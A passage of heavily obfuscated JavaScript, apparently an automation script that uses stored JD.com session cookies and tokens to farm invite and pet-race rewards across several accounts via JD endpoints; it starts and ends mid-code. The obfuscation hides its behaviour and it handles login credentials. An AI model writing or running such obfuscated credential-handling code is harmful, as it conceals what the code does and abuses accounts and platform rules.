_0x25b6c9='';if(_0x2f14fd[_0x1d8d('120','(i((')]($['inviteReward'],0x0)){_0x25b6c9+='给'+_0x2f14fd[_0x1d8d('121','Zg)1')]($[_0x1d8d('122','bP9Z')],0x1e)+_0x1d8d('123','[13G')+$['inviteReward']+_0x1d8d('124','20LO');}if(_0x2f14fd[_0x1d8d('125','1oK$')]($[_0x1d8d('126','&o(o')],0x0)){_0x25b6c9+='给'+_0x2f14fd['junUI']($['runReward'],0x5)+_0x1d8d('127','1oK$')+$[_0x1d8d('128','buJq')]+'g';}if(_0x25b6c9){$[_0x1d8d('129','G@&z')]($[_0x1d8d('12a','OkG9')],'','京东账号'+$['index']+'\x20'+UserName+'\x0a'+_0x25b6c9);}}_0x2f14fd[_0x1d8d('12b','B6wd')](_0x3bb2ea);});}async function invite(_0x27134c){var _0x23c04e={'bkqCq':function(_0x7cd1a6,_0x522682){return _0x7cd1a6>_0x522682;},'rsAOs':'jd2_joy_invite_pin','HOGqz':function(_0x555915,_0x2f5f28){return _0x555915===_0x2f5f28;},'XzMEu':function(_0x422e61,_0x420954){return _0x422e61*_0x420954;},'VhSaZ':function(_0x2ce6e7,_0x9d22f9){return _0x2ce6e7+_0x9d22f9;},'isfVf':function(_0x32b9a7,_0x36f03e){return _0x32b9a7(_0x36f03e);},'bsdzo':function(_0x5d1265,_0x2e3d91){return _0x5d1265===_0x2e3d91;},'rUpTJ':_0x1d8d('12c','i%AY'),'QeJVX':_0x1d8d('12d','6Ixg'),'xBSsw':function(_0x4f9d50,_0x28cae8){return _0x4f9d50!==_0x28cae8;},'QSxGC':function(_0x47189a,_0x4f3917){return _0x47189a===_0x4f3917;},'Jnxsb':_0x1d8d('12e','ziq7'),'ZMZfn':function(_0x24cac8,_0x597e0b){return _0x24cac8===_0x597e0b;},'nZyLx':_0x1d8d('12f','@R[F'),'xyBUv':'tqajP','lYxSc':_0x1d8d('130','X^Nl'),'qsxgj':_0x1d8d('131','FjT2'),'YWcvF':_0x1d8d('132','@R[F'),'ptdHh':_0x1d8d('133','20LO'),'pxJnY':function(_0x212627,_0x24a3d9){return _0x212627===_0x24a3d9;},'iCplx':_0x1d8d('134','IldE'),'bJfNg':_0x1d8d('135','i)4I'),'tfJho':_0x1d8d('136','Z@OR'),'sguNi':_0x1d8d('137','$XN&'),'KcfLr':_0x1d8d('138','Fuxb'),'iwGfX':'eywKj','ZTIMb':_0x1d8d('139','DLFY'),'rGRTo':'京东Cookie失效','gGAAz':'https://bean.m.jd.com/bean/signIndex.action'};console[_0x1d8d('13a','(i((')]('账号'+$[_0x1d8d('ae','LMvC')]+'\x20['+UserName+_0x1d8d('13b','X^Nl')+_0x27134c[_0x1d8d('13c','v[xq')](_0x46fe4f=>_0x46fe4f['trim']())+'\x0a');for(let _0x21e589 of _0x27134c['map'](_0x21e589=>_0x21e589[_0x1d8d('13d','@%ST')]())){console[_0x1d8d('13e','a)x2')](_0x1d8d('13f','Q0uE')+$[_0x1d8d('140','1oK$')]+'\x20['+UserName+_0x1d8d('141','Z@OR')+_0x21e589+_0x1d8d('142','$XN&'));if(_0x23c04e[_0x1d8d('143','Fuxb')](UserName,_0x21e589)){if(_0x23c04e[_0x1d8d('144','buJq')](_0x23c04e['rUpTJ'],_0x23c04e[_0x1d8d('145','OkG9')])){if(_0x23c04e[_0x1d8d('146','Q0uE')](_0x27134c[_0x1d8d('147','MUvq')],0x0)){_0x27134c[_0x1d8d('148','MV^d')]($['getdata'](_0x23c04e[_0x1d8d('149','IldE')]));}else{_0x27134c=[];_0x27134c[_0x1d8d('14a','L2w5')]($[_0x1d8d('2f','B6wd')](_0x23c04e[_0x1d8d('14b','B6wd')]));}}else{console[_0x1d8d('14c','buJq')]('自己账号,跳过');continue;}}const _0x3521f3=await enterRoom(_0x21e589);if(_0x3521f3){if(_0x23c04e['xBSsw'](_0x1d8d('14d','jPP7'),_0x1d8d('14e','i%AY'))){$['logErr'](e,resp);}else{if(_0x3521f3['success']){if(_0x23c04e[_0x1d8d('14f','Z@OR')](_0x23c04e[_0x1d8d('150','jE2P')],_0x1d8d('151','a)x2'))){$[_0x1d8d('13a','(i((')](_0x1d8d('152','1jsB')+_0x3521f3);_0x3521f3=JSON[_0x1d8d('153','a)x2')](_0x3521f3);if(_0x3521f3[_0x1d8d('154','buJq')]&&_0x23c04e['HOGqz'](_0x3521f3['errorCode'],'help_ok')){$['inviteReward']+=0x1e;}}else{const {helpStatus}=_0x3521f3[_0x1d8d('155','@%ST')];console[_0x1d8d('14c','buJq')]('helpStatus\x20'+helpStatus);if(_0x23c04e['ZMZfn'](helpStatus,_0x23c04e['nZyLx'])){if(_0x23c04e['ZMZfn'](_0x23c04e[_0x1d8d('156','EtFw')],_0x23c04e[_0x1d8d('157','Q0uE')])){console['log']('您的邀请助力机会已耗尽\x0a');break;}else{index=Math[_0x1d8d('158','$XN&')](_0x23c04e[_0x1d8d('159','1oK$')](_0x23c04e[_0x1d8d('15a','buJq')](i,0x1),Math['random']()));temp=shuffled[index];shuffled[index]=shuffled[i];shuffled[i]=temp;}}else if(helpStatus===_0x23c04e[_0x1d8d('15b','%bsr')]){if(_0x23c04e['qsxgj']===_0x1d8d('15c','EtFw')){console['log'](_0x1d8d('15d','$XvX')+_0x21e589+_0x1d8d('15e','DLFY'));}else{console[_0x1d8d('15f','%bsr')](_0x1d8d('160','G@&z'));}}else if(helpStatus===_0x23c04e[_0x1d8d('161','DLFY')]){console[_0x1d8d('162','&o(o')](_0x1d8d('163','Z@OR')+_0x21e589+'\x20已经满3人给他助力了,无需您再次助力\x0a');}else if(_0x23c04e[_0x1d8d('164','i%AY')](helpStatus,_0x23c04e[_0x1d8d('165','DLFY')])){console[_0x1d8d('166','7)Tk')](_0x1d8d('167',']f#3')+_0x21e589+'\x20助力\x0a');const _0x945f45=await helpInviteFriend(_0x21e589);if(_0x23c04e['pxJnY'](_0x945f45[_0x1d8d('168','1jsB')],_0x23c04e[_0x1d8d('169','i%AY')])&&!_0x945f45[_0x1d8d('16a','[13G')]){console[_0x1d8d('16b','F3d(')](_0x23c04e['bJfNg']);$[_0x1d8d('16c','buJq')]('',_0x23c04e[_0x1d8d('16d','$XN&')]);$['msg']($[_0x1d8d('16e','$XvX')],_0x23c04e[_0x1d8d('16f','Fuxb')],_0x23c04e[_0x1d8d('170','MV^d')]);$[_0x1d8d('171','%Ier')]=![];break;}else{if(_0x1d8d('172','6Ixg')!==_0x23c04e[_0x1d8d('173','FjT2')]){$[_0x1d8d('174','i)4I')]=!![];}else{_0x23c04e[_0x1d8d('175','jPP7')](resolve,_0x3521f3);}}}$[_0x1d8d('176','buJq')]=!![];}}else{if(_0x23c04e['pxJnY'](_0x3521f3[_0x1d8d('177','[Au0')],_0x23c04e[_0x1d8d('178','%bsr')])){console[_0x1d8d('97','@%ST')](_0x23c04e[_0x1d8d('179',']q![')]);$[_0x1d8d('17a','jE2P')]($[_0x1d8d('42','6Ixg')],'【提示】京东cookie已失效',_0x1d8d('17b','EtFw')+$[_0x1d8d('17c','MUvq')]+'\x20'+UserName+_0x1d8d('17d','L2w5'),{'open-url':_0x23c04e[_0x1d8d('17e','X^Nl')]});$[_0x1d8d('17f','i)4I')]=![];break;}}}}}}function enterRoom(_0x1d51b6){var _0x574e2e={'qgoVS':function(_0x2a1bda,_0x2fe80e){return _0x2a1bda===_0x2fe80e;},'tmyJM':_0x1d8d('180','bP9Z'),'FWGnM':_0x1d8d('181','ziq7'),'czywW':function(_0x5acf65,_0x592d4d){return _0x5acf65(_0x592d4d);},'bkpwR':_0x1d8d('182','Q0uE'),'jKqIo':_0x1d8d('10','@R[F'),'hHzzY':_0x1d8d('183','$XvX'),'afroB':_0x1d8d('184','IldE'),'ipUIl':function(_0x576ffa,_0x23982c){return _0x576ffa+_0x23982c;},'qRkUe':'https:','aQsft':_0x1d8d('185','G@&z')};return new Promise(_0x167d70=>{headers[_0x1d8d('186','2Yg&')]=cookie;headers['LKYLToken']=$['LKYLToken'];headers[_0x574e2e[_0x1d8d('187','jPP7')]]=_0x574e2e['jKqIo'];let _0xeb3872={'url':'//draw.jdfcloud.com/common/pet/enterRoom/h5?reqSource=h5&invitePin='+encodeURI(_0x1d51b6)+_0x1d8d('188','%bsr')+Date[_0x1d8d('189','Fuxb')]()+_0x1d8d('18a','1oK$'),'method':_0x574e2e[_0x1d8d('18b','mNmJ')],'data':{},'credentials':_0x574e2e['afroB'],'header':{'content-type':_0x574e2e['jKqIo']}};const _0x203343=_0x574e2e[_0x1d8d('18c','OkG9')](_0x574e2e[_0x1d8d('18d','MV^d')],_0x574e2e[_0x1d8d('18e','F3d(')](taroRequest,_0xeb3872)[_0x574e2e[_0x1d8d('18f','a5b5')]]);const _0x10b1cc={'url':_0x203343,'body':'{}','headers':headers};$[_0x1d8d('190','2R2%')](_0x10b1cc,(_0x116c8e,_0x1da93c,_0x27689a)=>{try{if(_0x116c8e){if(_0x574e2e['qgoVS'](_0x574e2e[_0x1d8d('191','2Yg&')],_0x1d8d('192','@R[F'))){$[_0x1d8d('193','3$I%')]($[_0x1d8d('194','20LO')]+_0x1d8d('195','@%ST'));$[_0x1d8d('8b','mNmJ')](JSON['stringify'](_0x116c8e));}else{$[_0x1d8d('196','OkG9')]=!![];}}else{_0x27689a=JSON[_0x1d8d('197','OkG9')](_0x27689a);}}catch(_0x45d843){if(_0x574e2e[_0x1d8d('198','G@&z')]===_0x574e2e[_0x1d8d('199','1jsB')]){$['logErr'](_0x45d843,_0x1da93c);}else{console[_0x1d8d('19a','i%AY')]('已给该好友\x20'+item+_0x1d8d('19b','OkG9'));}}finally{_0x574e2e[_0x1d8d('19c','20LO')](_0x167d70,_0x27689a);}});});}function helpInviteFriend(_0x5032f3){var _0x539980={'mMgkc':function(_0x4f5919,_0x3fe4cb){return _0x4f5919(_0x3fe4cb);},'gQVhB':function(_0x557c8d,_0x36a836){return _0x557c8d===_0x36a836;},'CAkrn':_0x1d8d('19d','i%AY'),'rJwYu':'dHBqI','lqNcv':function(_0x2b6d6e,_0x5bd46e){return _0x2b6d6e!==_0x5bd46e;},'xNMbl':_0x1d8d('19e','1oK$'),'rcrxc':'include','QMHRe':_0x1d8d('19f','MUvq'),'JIZxA':function(_0x23e3ec,_0x2ef200){return _0x23e3ec(_0x2ef200);},'yLnzg':_0x1d8d('1a0','%Ier')};return new Promise(_0x569ddc=>{var _0x27c3d7={'yjTYs':function(_0x544d3a,_0xd280f4){return _0x539980['gQVhB'](_0x544d3a,_0xd280f4);},'TBDFt':_0x1d8d('1a1','MUvq'),'EqVfl':_0x539980['CAkrn'],'DNUnx':_0x539980[_0x1d8d('1a2','7)Tk')],'KePrw':function(_0x28f1b2,_0x42ac4f){return _0x539980['mMgkc'](_0x28f1b2,_0x42ac4f);}};if(_0x539980[_0x1d8d('1a3','IldE')](_0x1d8d('1a4','DLFY'),_0x1d8d('1a5','a)x2'))){_0x539980[_0x1d8d('1a6','IldE')](_0x569ddc,data);}else{headers[_0x1d8d('1a7','B6wd')]=cookie;headers['LKYLToken']=$[_0x1d8d('1a8',']q![')];let _0x1cdff0={'url':_0x1d8d('1a9','a5b5')+_0x539980[_0x1d8d('1aa','[Au0')](encodeURI,_0x5032f3)+_0x1d8d('1ab','1oK$'),'method':_0x539980[_0x1d8d('1ac','gmfl')],'data':{},'credentials':_0x539980[_0x1d8d('1ad','7)Tk')],'header':{'content-type':_0x539980[_0x1d8d('1ae','MV^d')]}};const _0xbf0b08=_0x1d8d('1af','X^Nl')+_0x539980[_0x1d8d('1b0','@%ST')](taroRequest,_0x1cdff0)[_0x539980[_0x1d8d('1b1','1jsB')]];const _0x1376a8={'url':_0xbf0b08,'headers':headers};$[_0x1d8d('1b2','IldE')](_0x1376a8,(_0x45b3b8,_0x1507dc,_0x3bbecd)=>{var _0x33f4a6={'fWHKu':function(_0x598ee2,_0x4c5fec){return _0x27c3d7[_0x1d8d('1b3','$XN&')](_0x598ee2,_0x4c5fec);},'kthQi':_0x27c3d7[_0x1d8d('1b4','Z@OR')]};try{if(_0x27c3d7[_0x1d8d('1b5',']f#3')](_0x1d8d('1b6','B6wd'),_0x1d8d('1b7','G@&z'))){if(_0x45b3b8){$[_0x1d8d('16b','F3d(')](_0x27c3d7[_0x1d8d('1b8','bP9Z')]);$[_0x1d8d('1b9','2R2%')](JSON['stringify'](_0x45b3b8));}else{$[_0x1d8d('d4','[Au0')]('邀请助力结果:'+_0x3bbecd);_0x3bbecd=JSON[_0x1d8d('1ba','i)4I')](_0x3bbecd);if(_0x3bbecd[_0x1d8d('1bb','7)Tk')]&&_0x27c3d7[_0x1d8d('1bc','PC7O')](_0x3bbecd['errorCode'],_0x1d8d('1bd','(i(('))){$[_0x1d8d('1be','MV^d')]+=0x1e;}}}else{$['logErr'](e,_0x1507dc);}}catch(_0x3e4d95){if(_0x27c3d7['yjTYs'](_0x27c3d7[_0x1d8d('1bf','buJq')],_0x1d8d('1c0','ziq7'))){$[_0x1d8d('1c1','Zg)1')](_0x1d8d('1c2','6Ixg')+_0x3bbecd);_0x3bbecd=JSON[_0x1d8d('1c3','gmfl')](_0x3bbecd);if(_0x33f4a6[_0x1d8d('1c4','2Yg&')](_0x3bbecd['errorCode'],_0x33f4a6['kthQi'])&&_0x33f4a6['fWHKu'](_0x3bbecd[_0x1d8d('1c5','$XvX')][_0x1d8d('1c6','&o(o')],_0x1d8d('1c7','i%AY'))){console['log']('助力'+_0x5032f3+_0x1d8d('1c8','MV^d')+_0x3bbecd[_0x1d8d('1c9','Z@OR')][_0x1d8d('1ca','a)x2')]+'g\x0a');$[_0x1d8d('1cb','G@&z')]+=_0x3bbecd['data'][_0x1d8d('1cc','IldE')];}}else{$[_0x1d8d('1cd','v[xq')](_0x3e4d95,_0x1507dc);}}finally{_0x27c3d7[_0x1d8d('1ce','@%ST')](_0x569ddc,_0x3bbecd);}});}});}async function run(_0x5eee4f){var _0x58a743={'RpIEu':_0x1d8d('1cf','1oK$'),'tiRlE':function(_0x1ecb5b,_0xfbdcf5){return _0x1ecb5b===_0xfbdcf5;},'SldJb':function(_0x2c83de,_0x31e0fd){return _0x2c83de!==_0x31e0fd;},'KSfRy':'dNWul','cquUF':'OVycX','amUjJ':function(_0x19ba53,_0x5322fe){return _0x19ba53(_0x5322fe);},'VNvLX':'help_full','nIxrI':'您的赛跑助力机会已耗尽','XOIyH':_0x1d8d('1d0','$XvX'),'SXXWt':_0x1d8d('134','IldE'),'ccclL':'jdJoyRunToken','hXRmL':'【提示】来客有礼token失效,请重新获取','RFtcD':_0x1d8d('1d1','[13G'),'uUsZr':function(_0x469a4f,_0x52b43b){return _0x469a4f===_0x52b43b;},'gjwxY':'vgBLN','KrzKV':_0x1d8d('1d2','%bsr')};console[_0x1d8d('1d3','1jsB')]('账号'+$['index']+'\x20['+UserName+_0x1d8d('1d4','F3d(')+_0x5eee4f[_0x1d8d('1d5','(i((')](_0x2dd189=>_0x2dd189[_0x1d8d('1d6','1jsB')]())+'\x0a');for(let _0x151d8c of _0x5eee4f[_0x1d8d('1d7','@%ST')](_0x151d8c=>_0x151d8c[_0x1d8d('1d8','%bsr')]())){console[_0x1d8d('1d9','%Ier')](_0x1d8d('1da',']f#3')+$['index']+'\x20['+UserName+_0x1d8d('1db','$XvX')+_0x151d8c+_0x1d8d('1dc','$XvX'));if(_0x58a743[_0x1d8d('1dd','$XN&')](UserName,_0x151d8c)){if(_0x58a743[_0x1d8d('1de','jPP7')](_0x58a743['KSfRy'],_0x58a743[_0x1d8d('1df','$XN&')])){console[_0x1d8d('1e0','gmfl')](_0x1d8d('1e1','Q0uE'));continue;}else{console['log'](_0x1d8d('1e2','%bsr')+e);}}const _0x187e40=await _0x58a743['amUjJ'](combatDetail,_0x151d8c);const {petRaceResult}=_0x187e40[_0x1d8d('1e3','7)Tk')];console[_0x1d8d('1e4','jPP7')](_0x1d8d('1e5','i)4I')+petRaceResult);if(_0x58a743[_0x1d8d('1e6','$XvX')](petRaceResult,_0x58a743['VNvLX'])){console[_0x1d8d('1e7','6Ixg')](_0x58a743[_0x1d8d('1e8','(i((')]);break;}else if(_0x58a743['tiRlE'](petRaceResult,_0x58a743['XOIyH'])){console[_0x1d8d('1e9','G@&z')](_0x1d8d('1ea','Zg)1')+_0x151d8c);const _0x2f7ac9=await _0x58a743['amUjJ'](combatHelp,_0x151d8c);if(_0x2f7ac9[_0x1d8d('1eb','X^Nl')]===_0x58a743[_0x1d8d('1ec','gmfl')]&&!_0x2f7ac9[_0x1d8d('1ed','Q0uE')]){console['log'](_0x1d8d('1ee','$XvX'));$[_0x1d8d('1ef','EtFw')]('',_0x58a743[_0x1d8d('1f0','DLFY')]);$['msg']($[_0x1d8d('1f1','%bsr')],_0x58a743['hXRmL'],_0x58a743[_0x1d8d('1f2','Fuxb')]);$[_0x1d8d('1f3','IldE')]=![];break;}else{if(_0x58a743['uUsZr'](_0x58a743[_0x1d8d('1f4','1jsB')],_0x58a743[_0x1d8d('1f5','ziq7')])){if(err){console[_0x1d8d('1d9','%Ier')](_0x1d8d('1f6','[Au0')+JSON['stringify'](err));}else{$['friendPins']=data&&JSON[_0x1d8d('1f7','@%ST')](data);if($['friendPins']&&$[_0x1d8d('be','B6wd')][_0x58a743[_0x1d8d('1f8','Q0uE')]]){friendsArr=$[_0x1d8d('1f9','6Ixg')][_0x58a743[_0x1d8d('1fa','a)x2')]];console[_0x1d8d('ec','FjT2')](_0x1d8d('c0','Z@OR')+friendsArr[_0x1d8d('1fb','L2w5')]+_0x1d8d('1fc','$XvX'));}}}else{$['LKYLLogin']=!![];}}}}}function combatHelp(_0x5228dd){var _0x33a1bc={'JGEKe':function(_0x40195f,_0x578264){return _0x40195f/_0x578264;},'Zmahc':function(_0x2c0e1d,_0x3631c1){return _0x2c0e1d>_0x3631c1;},'zRSxR':'请勿随意在BoxJs输入框修改内容\x0a建议通过脚本去获取cookie','YVaNW':'XIeHW','BXaIq':_0x1d8d('1fd','B6wd'),'gfcIE':'qEzRs','JJKib':_0x1d8d('1fe','v[xq'),'CMKNL':'vutUf','MhOvu':_0x1d8d('1ff','LMvC'),'CvESP':function(_0x198f96,_0x426427){return _0x198f96(_0x426427);},'bEgSD':'include','gnOXR':_0x1d8d('200','gmfl'),'KQhwg':function(_0x1be044,_0x2866b7){return _0x1be044+_0x2866b7;},'onhWY':_0x1d8d('201','MV^d'),'Azfyt':'url'};return new Promise(_0x2c484c=>{var _0x1234a3={'mhGEk':function(_0x4e249,_0x5265b5){return _0x33a1bc[_0x1d8d('202','F3d(')](_0x4e249,_0x5265b5);},'QGFqF':function(_0x3b20cc,_0x5e87e3){return _0x33a1bc[_0x1d8d('203','IldE')](_0x3b20cc,_0x5e87e3);},'iIgXz':_0x33a1bc['zRSxR'],'zfTRh':function(_0x3ecddf,_0x52d2db){return _0x3ecddf!==_0x52d2db;},'zjyJo':_0x33a1bc['YVaNW'],'QZKzh':_0x33a1bc[_0x1d8d('204','1oK$')],'rfhVt':function(_0x467991,_0x4fa07a){return _0x467991!==_0x4fa07a;},'huued':_0x33a1bc['gfcIE'],'ZFFKw':'XzQZV','LNVGQ':_0x1d8d('205','%bsr'),'Pbbld':_0x33a1bc['JJKib'],'JModR':_0x33a1bc[_0x1d8d('206','IldE')],'snjpN':function(_0x587fd,_0x13affa){return _0x587fd===_0x13affa;},'GfNSg':_0x33a1bc['MhOvu'],'ubmrt':function(_0x437848,_0x125c72){return _0x437848(_0x125c72);}};headers[_0x1d8d('207','%bsr')]=cookie;headers[_0x1d8d('208','L2w5')]=$[_0x1d8d('209','&o(o')];let _0x4ff74a={'url':_0x1d8d('20a','[13G')+_0x33a1bc['CvESP'](encodeURI,_0x5228dd)+'&invokeKey=Oex5GmEuqGep1WLC','method':_0x1d8d('20b','bP9Z'),'data':{},'credentials':_0x33a1bc['bEgSD'],'header':{'content-type':_0x33a1bc[_0x1d8d('20c','MV^d')]}};const _0x4ad1f8=_0x33a1bc[_0x1d8d('20d','LMvC')](_0x33a1bc[_0x1d8d('20e','IldE')],_0x33a1bc[_0x1d8d('20f','G@&z')](taroRequest,_0x4ff74a)[_0x33a1bc[_0x1d8d('210','Fuxb')]]);const _0x499a14={'url':_0x4ad1f8,'headers':headers};$[_0x1d8d('10c',']f#3')](_0x499a14,(_0x5b0d23,_0x320c19,_0x5a3993)=>{if(_0x1234a3[_0x1d8d('211','PC7O')](_0x1234a3['zjyJo'],_0x1234a3[_0x1d8d('212','Z@OR')])){try{if(_0x1234a3['rfhVt'](_0x1234a3[_0x1d8d('213','2Yg&')],_0x1234a3['huued'])){console['log'](''+JSON[_0x1d8d('eb','Fuxb')](_0x5b0d23));console[_0x1d8d('1e4','jPP7')]($[_0x1d8d('214','jE2P')]+'\x20API请求失败,请检查网路重试');}else{if(_0x5b0d23){if(_0x1d8d('215','1jsB')===_0x1234a3[_0x1d8d('216','gmfl')]){cookiesArr['push'](jdCookieNode[item]);}else{$['log'](_0x1234a3[_0x1d8d('217','X^Nl')]);$['logErr'](JSON[_0x1d8d('218','6Ixg')](_0x5b0d23));}}else{if(_0x1d8d('219','LMvC')==='VTSJv'){$['log']('赛跑助力结果'+_0x5a3993);_0x5a3993=JSON['parse'](_0x5a3993);if(_0x5a3993['errorCode']===_0x1234a3['Pbbld']&&_0x5a3993['data']['helpStatus']===_0x1234a3[_0x1d8d('21a','a)x2')]){if(_0x1234a3['rfhVt']('vutUf',_0x1234a3[_0x1d8d('21b','20LO')])){return JSON['parse'](str);}else{console[_0x1d8d('21c','a5b5')]('助力'+_0x5228dd+_0x1d8d('21d','@R[F')+_0x5a3993[_0x1d8d('21e','FjT2')]['rewardNum']+'g\x0a');$[_0x1d8d('21f','ziq7')]+=_0x5a3993[_0x1d8d('220','1oK$')]['rewardNum'];}}}else{$['done']();}}}}catch(_0x5a6706){if(_0x1234a3[_0x1d8d('221','%bsr')](_0x1234a3[_0x1d8d('222','EtFw')],_0x1234a3[_0x1d8d('223','Zg)1')])){$[_0x1d8d('1cd','v[xq')](_0x5a6706,_0x320c19);}else{let _0x48c1a7='';if($['inviteReward']>0x0){_0x48c1a7+='给'+_0x1234a3[_0x1d8d('224','%Ier')]($[_0x1d8d('225','2Yg&')],0x1e)+_0x1d8d('226','i%AY')+$['inviteReward']+'积分\x0a';}if(_0x1234a3[_0x1d8d('227','EtFw')]($[_0x1d8d('228','3$I%')],0x0)){_0x48c1a7+='给'+_0x1234a3[_0x1d8d('229','@R[F')]($[_0x1d8d('22a','[Au0')],0x5)+_0x1d8d('22b','DLFY')+$[_0x1d8d('22c','DLFY')]+'g';}if(_0x48c1a7){$[_0x1d8d('22d','v[xq')]($[_0x1d8d('22e','LMvC')],'',_0x1d8d('22f','@%ST')+$['index']+'\x20'+UserName+'\x0a'+_0x48c1a7);}}}finally{_0x1234a3[_0x1d8d('230','2Yg&')](_0x2c484c,_0x5a3993);}}else{try{return JSON[_0x1d8d('fc','MV^d')](str);}catch(_0x2dc9d8){console[_0x1d8d('231','$XN&')](_0x2dc9d8);$[_0x1d8d('232','[13G')]($[_0x1d8d('1f1','%bsr')],'',_0x1234a3[_0x1d8d('233','Z@OR')]);return[];}}});});}function combatDetail(_0x35c364){var _0x3ad031={'irZeH':function(_0x25af23,_0x5492a0){return _0x25af23!==_0x5492a0;},'qKEJa':_0x1d8d('234','2R2%'),'tPgQQ':'gKOfN','Nteti':_0x1d8d('235','IldE'),'deJzn':_0x1d8d('236','X^Nl'),'zbdsP':_0x1d8d('237','6Ixg'),'pshYc':function(_0x488ded,_0x13986f){return _0x488ded===_0x13986f;},'cMDiz':_0x1d8d('238','gmfl'),'UdmWK':'dKeVf','PbfJB':function(_0xe0b8f3,_0x274343){return _0xe0b8f3(_0x274343);},'OFWSr':_0x1d8d('239','gmfl'),'ekWWq':'include','JRVnU':_0x1d8d('23a','jPP7'),'jtTIJ':function(_0xdf32c3,_0x289759){return _0xdf32c3+_0x289759;},'gESVZ':_0x1d8d('23b','(i(('),'RnsMB':function(_0x43c80f,_0x359f95){return _0x43c80f(_0x359f95);},'JXPai':_0x1d8d('23c','%bsr')};return new Promise(_0x5db81f=>{var _0xf5bc19={'qHVgM':function(_0x2dac52,_0x5ed434){return _0x2dac52===_0x5ed434;}};if(_0x3ad031[_0x1d8d('23d','i)4I')](_0x3ad031[_0x1d8d('23e','bP9Z')],_0x3ad031[_0x1d8d('23f','Fuxb')])){console['log'](_0x1d8d('240','v[xq')+JSON[_0x1d8d('dd','L2w5')](err));}else{headers['Cookie']=cookie;headers[_0x1d8d('241','B6wd')]=$['LKYLToken'];let _0x3497ee={'url':_0x1d8d('242','LMvC')+_0x3ad031[_0x1d8d('243','MV^d')](encodeURI,_0x35c364)+'&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC','method':_0x3ad031[_0x1d8d('244','%Ier')],'data':{},'credentials':_0x3ad031[_0x1d8d('245','OkG9')],'header':{'content-type':_0x3ad031[_0x1d8d('246','B6wd')]}};const _0x3298a5=_0x3ad031[_0x1d8d('247','3$I%')](_0x3ad031[_0x1d8d('248','F3d(')],_0x3ad031[_0x1d8d('249','gmfl')](taroRequest,_0x3497ee)[_0x3ad031[_0x1d8d('24a','EtFw')]]);const _0x229ffd={'url':_0x3298a5,'headers':headers};$[_0x1d8d('24b','$XvX')](_0x229ffd,(_0x364fb8,_0x352b07,_0x4ebc7d)=>{var _0x5c247c={'UvouY':_0x1d8d('24c','X^Nl')};if(_0x3ad031[_0x1d8d('24d','6Ixg')](_0x3ad031[_0x1d8d('24e','B6wd')],_0x3ad031[_0x1d8d('24f','Z@OR')])){try{if(_0x364fb8){if(_0x3ad031['Nteti']===_0x3ad031[_0x1d8d('250','&o(o')]){$['log'](_0x3ad031[_0x1d8d('251','Q0uE')]);$['logErr'](JSON[_0x1d8d('252','i%AY')](_0x364fb8));}else{if(_0xf5bc19[_0x1d8d('253','F3d(')](_0x352b07['statusCode'],0xc8)){try{let {body}=_0x352b07;console[_0x1d8d('254',']f#3')]('Token提交结果:'+body+'\x0a');body=JSON[_0x1d8d('255','6Ixg')](body);console['log'](''+body[_0x1d8d('256','@%ST')]);}catch(_0x23991a){console['log'](_0x1d8d('257','L2w5')+_0x23991a);}}}}else{if(_0x3ad031[_0x1d8d('258','2R2%')]===_0x3ad031['zbdsP']){_0x4ebc7d=JSON['parse'](_0x4ebc7d);}else{$[_0x1d8d('193','3$I%')](_0x1d8d('259','@%ST'));$[_0x1d8d('25a','6Ixg')](JSON[_0x1d8d('25b','Zg)1')](_0x364fb8));}}}catch(_0x5e2824){$['logErr'](_0x5e2824,_0x352b07);}finally{_0x5db81f(_0x4ebc7d);}}else{invite_pins=[];invite_pins[_0x1d8d('25c','Z@OR')]($[_0x1d8d('25d','i%AY')](_0x5c247c[_0x1d8d('25e','B6wd')]));}});}});}function isURL(_0x3887df,_0x910be0){return _0x910be0[_0x1d8d('25f','IldE')](_0x3887df);}function jsonParse(_0x15aeba){var _0x430890={'DKnWd':'https://bean.m.jd.com/bean/signIndex.action','LfcDv':function(_0x4b78e3,_0x16d1dc){return _0x4b78e3==_0x16d1dc;},'Arnnb':_0x1d8d('260','1jsB'),'jWYSD':function(_0x52b6f8,_0x14eaa0){return _0x52b6f8===_0x14eaa0;},'ZgFMy':_0x1d8d('261','[13G'),'PChjM':_0x1d8d('262','Zg)1'),'GZYVR':_0x1d8d('263','MUvq'),'XtLIO':_0x1d8d('264','MUvq')};if(_0x430890[_0x1d8d('265','G@&z')](typeof _0x15aeba,_0x430890['Arnnb'])){if(_0x430890['jWYSD'](_0x430890['ZgFMy'],_0x1d8d('266','F3d('))){$['log']('API请求失败');$[_0x1d8d('267','@R[F')](JSON[_0x1d8d('268','2Yg&')](err));}else{try{if(_0x1d8d('269','%Ier')===_0x430890[_0x1d8d('26a','Fuxb')]){return JSON['parse'](_0x15aeba);}else{let {body}=resp;console[_0x1d8d('254',']f#3')](_0x1d8d('26b','%bsr')+body+'\x0a');body=JSON[_0x1d8d('26c','Z@OR')](body);console[_0x1d8d('72','LMvC')](''+body[_0x1d8d('26d','Q0uE')]);}}catch(_0x464610){if(_0x1d8d('26e','%Ier')!==_0x430890['GZYVR']){$['msg']($['name'],_0x1d8d('26f','20LO'),_0x430890[_0x1d8d('270','PC7O')],{'open-url':_0x430890[_0x1d8d('271','$XN&')]});return;}else{console['log'](_0x464610);$['msg']($[_0x1d8d('272','a)x2')],'',_0x430890[_0x1d8d('273','Q0uE')]);return[];}}}}}function getRandomArrayElements(_0x54c2c0,_0x2ef150){var _0x272976={'dZFkB':function(_0x21afb0,_0x1a2d8f){return _0x21afb0>_0x1a2d8f;},'Whfjo':function(_0x492ee7,_0x4a1943){return _0x492ee7*_0x4a1943;},'GlMrP':function(_0x1e48c1,_0x5bd7f1){return _0x1e48c1+_0x5bd7f1;}};let _0x1fbb26=_0x54c2c0['slice'](0x0),_0x4acefc=_0x54c2c0[_0x1d8d('274','F3d(')],_0x53ec39=_0x4acefc-_0x2ef150,_0xbdff2e,_0x48de20;while(_0x272976[_0x1d8d('275','3$I%')](_0x4acefc--,_0x53ec39)){_0x48de20=Math[_0x1d8d('276','2R2%')](_0x272976[_0x1d8d('277','1jsB')](_0x272976[_0x1d8d('278','&o(o')](_0x4acefc,0x1),Math[_0x1d8d('279','i)4I')]()));_0xbdff2e=_0x1fbb26[_0x48de20];_0x1fbb26[_0x48de20]=_0x1fbb26[_0x4acefc];_0x1fbb26[_0x4acefc]=_0xbdff2e;}return _0x1fbb26[_0x1d8d('27a','a)x2')](_0x53ec39);}function getFriendPins(){var _0x28115b={'rOhou':function(_0x588e25,_0x527ecc){return 